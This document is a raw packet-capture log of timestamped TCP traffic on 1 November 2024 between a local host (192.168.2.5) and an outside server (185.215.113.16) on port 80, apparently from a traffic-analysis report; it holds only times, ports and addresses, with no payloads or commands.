Nov 1, 2024 05:53:20.943924904 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.943938971 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.943969965 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.943972111 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.943985939 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.943999052 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.944010973 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.944029093 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.944053888 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.944164038 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.944214106 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.944236994 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.944247961 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.944257975 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.944269896 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.944272995 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.944283009 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.944297075 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.944308043 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.944336891 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.944576979 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.944586992 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.944592953 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.944597960 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.944603920 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.944613934 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.944627047 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.944638014 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.944639921 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.944675922 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.944700003 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.944957972 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.944967985 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.944977999 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.944996119 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.945003986 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.945008039 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.945029974 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.945043087 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.945143938 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.945156097 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.945166111 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.945178032 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.945209980 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.945238113 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.945472956 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.945482969 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.945492029 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.945502043 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.945513010 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.945519924 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.945525885 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.945537090 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.945538044 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.945549965 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.945560932 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.945571899 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.945576906 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.945584059 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.945594072 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.945595980 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.945605993 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.945616007 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.945616961 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.945628881 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.945635080 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.945641994 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.945652962 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.945661068 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.945682049 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.945708036 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.946259022 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.946270943 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.946280956 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.946291924 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.946302891 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.946312904 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.946316004 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.946331978 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.946341991 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.946342945 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.946356058 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.946361065 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.946367979 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.946377993 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.946386099 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.946389914 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.946400881 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.946410894 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.946413040 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.946424007 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.946429968 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.946435928 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.946446896 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.946449041 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.946460009 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.946471930 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.946474075 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.946482897 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.946501017 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.946511984 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.947238922 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.947249889 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.947259903 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.947271109 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.947280884 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.947293043 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.947294950 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.947304010 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.947321892 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.947333097 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.947336912 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.947336912 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.947345018 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.947356939 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.947367907 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.947371006 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.947377920 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.947388887 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.947398901 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.947398901 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.947412014 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.947423935 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.947424889 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.947438002 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.947448969 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.947448969 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.947463989 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.947469950 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.947489977 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.947515965 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.948230028 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.948242903 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.948251963 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.948266029 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.948275089 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.948281050 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.948287964 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.948301077 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.948307991 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.948313951 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.948324919 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.948327065 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.948335886 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.948348045 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.948355913 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.948359013 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.948370934 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.948380947 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.948385954 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.948394060 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.948405027 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.948415995 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.948416948 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.948427916 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.948436022 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.948440075 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.948457956 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.948458910 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.948471069 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.948472977 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.948503017 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.948518991 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.949218035 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.949230909 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.949239969 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.949251890 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.949263096 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.949263096 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.949275970 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.949286938 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.949297905 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.949300051 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.949309111 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.949316978 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.949321032 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.949331045 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.949331045 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.949346066 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.949356079 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.949358940 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.949367046 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.949377060 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.949388027 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.949393988 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.949398994 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.949410915 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.949414015 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.949423075 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.949433088 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.949434996 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.949448109 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.949481010 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.950031042 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.950042009 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.950052023 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.950062037 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.950073004 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.950083971 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.950113058 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.950210094 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.950222015 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.950231075 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.950243950 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.950254917 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.950256109 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.950265884 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.950278044 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.950283051 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.950288057 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.950290918 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.950299025 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.950310946 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.950320959 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.950321913 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.950328112 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.950337887 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.950347900 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.950349092 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.950360060 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.950371027 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.950378895 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.950378895 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.950408936 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.950419903 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.951154947 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.951167107 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.951175928 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.951186895 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.951198101 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.951208115 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.951211929 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.951219082 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.951230049 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.951241016 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.951241016 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.951252937 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.951261044 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.951265097 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.951275110 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.951276064 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.951287985 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.951297998 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.951301098 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.951318026 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.951330900 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.951342106 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.951348066 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.951348066 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.951354027 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.951364040 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.951365948 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.951379061 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.951394081 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.951416969 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.952142954 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.952153921 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.952163935 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.952176094 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.952187061 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.952198029 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.952198029 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.952209949 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.952222109 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.952223063 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.952234030 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.952240944 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.952250004 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.952261925 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.952267885 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.952274084 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.952287912 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.952299118 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.952301025 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.952310085 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.952321053 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.952321053 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.952332973 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.952342033 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.952343941 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.952353954 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.952378035 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.952395916 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.953129053 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.953140974 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.953150988 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.953161955 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.953176975 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.953183889 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.953187943 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.953201056 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.953210115 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.953212023 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.953223944 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.953224897 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.953237057 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.953248978 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.953253984 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.953260899 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.953272104 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.953279972 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.953283072 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.953294992 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.953294992 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.953305960 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.953310966 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.953318119 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.953329086 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.953341007 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.953342915 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.953367949 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.953377962 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.953758001 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.953769922 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.953779936 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.953792095 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.953803062 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.953804970 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.953814983 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.953831911 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.953852892 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.062442064 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.062457085 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.062467098 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.062501907 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.062536955 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.062557936 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.062568903 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.062580109 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.062604904 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.062629938 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.062753916 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.062766075 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.062774897 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.062786102 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.062797070 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.062804937 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.062812090 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.062836885 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.062856913 CET	49995	80	192.168.2.5	185.215.113.16
